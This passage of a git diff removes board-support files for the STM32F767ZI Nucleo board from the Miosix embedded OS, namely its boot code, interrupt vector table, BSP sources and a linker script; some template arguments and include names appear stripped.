_bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index edb932de7..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,471 +0,0 @@ -#include - -#include "core/cache_cortexMx.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/interrupts_cortexMx.h" -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "kernel/stage_2_boot.h" - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f767 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M7 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - /** - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * 1. First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * 2. Second, when running Miosix with the xram linker scripts .data and - * .bss are placed in the external RAM, so we *must* call SystemInit(), - * which enables xram, before touching .data and .bss - * 3. Third, this is a performance improvement since the loops that - * initialize .data and zeros .bss now run with the CPU at full speed - * instead of 8MHz - */ - SystemInit(); - - miosix::IRQconfigureCache(); - - // These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - // Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - // Move on to stage 2 - _init(); - - // If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Load into the program stack pointer the heap end address and switch from - * the msp to sps. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile( - "ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" // Set the control register to use - "msr control, r0 \n\t" // the process stack - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() { unexpectedInterrupt(); } - -// System handlers -void /*__attribute__((weak))*/ Reset_Handler(); // These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); // weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); // surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) DSIHOST_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) CAN3_TX_IRQHandler(); -void __attribute__((weak)) CAN3_RX0_IRQHandler(); -void __attribute__((weak)) CAN3_RX1_IRQHandler(); -void __attribute__((weak)) CAN3_SCE_IRQHandler(); -void __attribute__((weak)) JPEG_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); - -// Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -// Interrupt vectors, must be placed @ address 0x00000000 -// The extern declaration is required otherwise g++ optimizes it out -extern void (*const __Vectors[])(); -void (*const __Vectors[])() __attribute__((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top), /* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - DSIHOST_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - SDMMC2_IRQHandler, - CAN3_TX_IRQHandler, - CAN3_RX0_IRQHandler, - CAN3_RX1_IRQHandler, - CAN3_SCE_IRQHandler, - JPEG_IRQHandler, - MDIOS_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak DSIHOST_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak CAN3_TX_IRQHandler = Default_Handler -#pragma weak CAN3_RX0_IRQHandler = Default_Handler -#pragma weak CAN3_RX1_IRQHandler = Default_Handler -#pragma weak CAN3_SCE_IRQHandler = Default_Handler -#pragma weak JPEG_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 3962a08f1..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -// includes core_cm7.h. Do not include core_cm7.h before. -#define STM32F767xx -#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" - -#define RCC_SYNC() __DSB() // TODO: can this dsb be removed? - -#endif // ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index af0ba546e..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,127 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include "interfaces/bsp.h" - -#include -#include - -#include - -#include "board_settings.h" -#include "config/miosix_settings.h" -#include "drivers/serial.h" -#include "drivers/serial_stm32.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "filesystem/console/console_device.h" -#include "filesystem/file_access.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/logging.h" -#include "kernel/sync.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - // Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - - // Default to 50MHz speed for all GPIOS - GPIOA->OSPEEDR = 0xaaaaaaaa; - GPIOB->OSPEEDR = 0xaaaaaaaa; - GPIOC->OSPEEDR = 0xaaaaaaaa; - GPIOD->OSPEEDR = 0xaaaaaaaa; - GPIOE->OSPEEDR = 0xaaaaaaaa; - GPIOF->OSPEEDR = 0xaaaaaaaa; - GPIOH->OSPEEDR = 0xaaaaaaaa; - - userLed1::mode(Mode::OUTPUT); - userLed2::mode(Mode::OUTPUT); - userLed3::mode(Mode::OUTPUT); - userBtn::mode(Mode::INPUT); - - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(3, defaultSerialSpeed, tx, rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} // namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 2a063b99a..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,99 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*************************************************************************** - * bsp_impl.h Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ***************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Board pin definition - */ -typedef Gpio userLed1; -typedef Gpio userLed2; -typedef Gpio userLed3; -typedef Gpio userBtn; - -inline void ledOn() -{ - userLed1::high(); - userLed2::high(); - userLed3::high(); -} - -inline void ledOff() -{ - userLed1::low(); - userLed2::low(); - userLed3::low(); -} - -inline void led1On() { userLed1::high(); } - -inline void led1Off() { userLed1::low(); } - -inline void led2On() { userLed2::high(); } - -inline void led2Off() { userLed2::low(); } - -inline void led3On() { userLed3::high(); } - -inline void led3Off() { userLed3::low(); } - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} // namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/stm32_2m+384k_ram.ld b/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/stm32_2m+384k_ram.ld deleted file mode 100644 index ba3da77bb..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f767zi_nucleo/stm32_2m+384k_ram.ld +++ /dev/null @@ -1,178 +0,0 @@ -/* - * C++ enabled linker script for stm32f767zi (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 128KB RAM - * - .data, .bss, stacks and heap in the internal RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0x20000000 + 512K; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH 